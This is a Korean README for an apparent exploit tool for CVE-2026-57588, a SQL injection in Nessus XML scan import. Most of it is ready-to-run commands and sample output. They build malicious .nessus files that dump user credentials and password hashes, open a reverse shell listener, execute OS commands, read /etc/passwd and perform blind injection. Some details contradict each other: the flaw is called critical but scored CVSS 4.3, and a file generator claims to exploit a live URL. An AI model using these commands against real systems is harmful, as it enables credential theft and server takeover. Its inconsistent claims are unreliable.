
CVE-2026-57588용 PoC - Nessus 10.12.0 XML 가져오기의 SQL 주입. 데이터베이스 열거, 자격 증명 유출, 시간 기반 블라인드 주입 테스트를 위한 악성 .nessus 파일을 생성합니다. 승인된 보안 연구용입니다. 작성자: Sudeepa Wanigarathna. 10.12.1에서 패치됨.
CVE-2026-57588은 Tenable Nessus 버전 10.12.0 이하에서 발견된 치명적인 SQL 인젝션 취약점입니다. 이 취약점은 .nessus 스캔 결과 파일을 가져올 때 XML 파싱 메커니즘에 존재하며, 가져오기 권한이 있는 인증된 사용자가 백엔드 PostgreSQL 데이터베이스에 대해 임의의 SQL 쿼리를 실행할 수 있도록 합니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-57588 |
| 취약점 유형 | SQL 인젝션 |
| 영향받는 제품 | Tenable Nessus 10.12.0 이하 |
| 수정된 버전 | Nessus 10.12.1 이상 |
| CVSS 점수 | 4.3 (중간) |
| 공격 벡터 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요 권한 | 인증됨 (가져오기 권한) |
| 사용자 상호작용 | 필요 (사회 공학) |
| 영향 | 데이터 유출, RCE |
이 취약점은 가져오기 프로세스 중 XML 태그 값이 SQL 쿼리에 포함되기 전에 충분히 정화되지 않아 발생합니다. 악의적인 공격자는 다음과 같은 XML 태그에 특수 제작된 SQL 인젝션 페이로드가 포함된 .nessus 파일을 조작할 수 있습니다:
hostnamefqdnossystem-typemac-addressnetbios-name권한이 있는 사용자가 악성 파일을 가져오면 정화되지 않은 값이 PostgreSQL 백엔드에서 실행되어 다음이 가능해집니다:
# 저장소 클론
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# 가상 환경 생성 및 활성화
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
# 의존성 설치
pip install -r requirements.txt
# 설치 확인
python3 exploit.py --version
# Docker 이미지 빌드
docker build -t nessus-exploit .
# 도구 실행
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
# 패키지로 설치
pip install -e .
# 이제 어디서든 실행 가능
nessus-exploit generate -u https://test.com -p enum
# 기본 열거 익스플로잇 생성
python3 exploit.py generate -u https://test.com -p enum
# 고급 다단계 익스플로잇 생성
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# 데이터베이스에서 데이터 추출
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# 일반 도움말 표시
python3 exploit.py --help
# generate 명령 도움말 표시
python3 exploit.py generate --help
# 사용 가능한 모든 페이로드 나열
python3 exploit.py list
python3 exploit.py generate -u https://test.com -p enum
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
# 사용자 자격 증명 추출
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# 사용자 정의 열로 추출
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
# 리스너 시작 및 익스플로잇 생성
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
# 기본 명령 실행
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# 복잡한 명령 실행
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
# 시스템 파일 읽기
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# 애플리케이션 로그 읽기
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
# 5초 지연
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 무거운 테스트를 위한 30초 지연
python3 exploit.py generate -u https://test.com -p sleep -s 30
# HTTP 프록시
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# 인증이 있는 HTTPS 프록시
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
# 8개의 병렬 작업으로 실행
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# 사용자 정의 타임아웃 및 재시도
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
# 자세한 모드 (상세 출력)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# 조용한 모드 (최소 출력)
python3 exploit.py generate -u https://test.com -p advanced -q
| 페이로드 | 설명 | 매개변수 |
|---|---|---|
fingerprint | 데이터베이스 핑거프린팅 | 없음 |
| 페이로드 | 설명 | 매개변수 |
|---|---|---|
schema_dump | 데이터베이스 스키마 덤프 | 없음 |
data_exfil | 테이블 데이터 추출 | table, columns |
| 페이로드 | 설명 | 매개변수 |
|---|---|---|
time_based | 시간 기반 블라인드 인젝션 | delay |
boolean_blind | 부울 기반 블라인드 | condition, delay |
| 페이로드 | 설명 | 매개변수 |
|---|---|---|
file_read | 시스템 파일 읽기 | path, offset, length |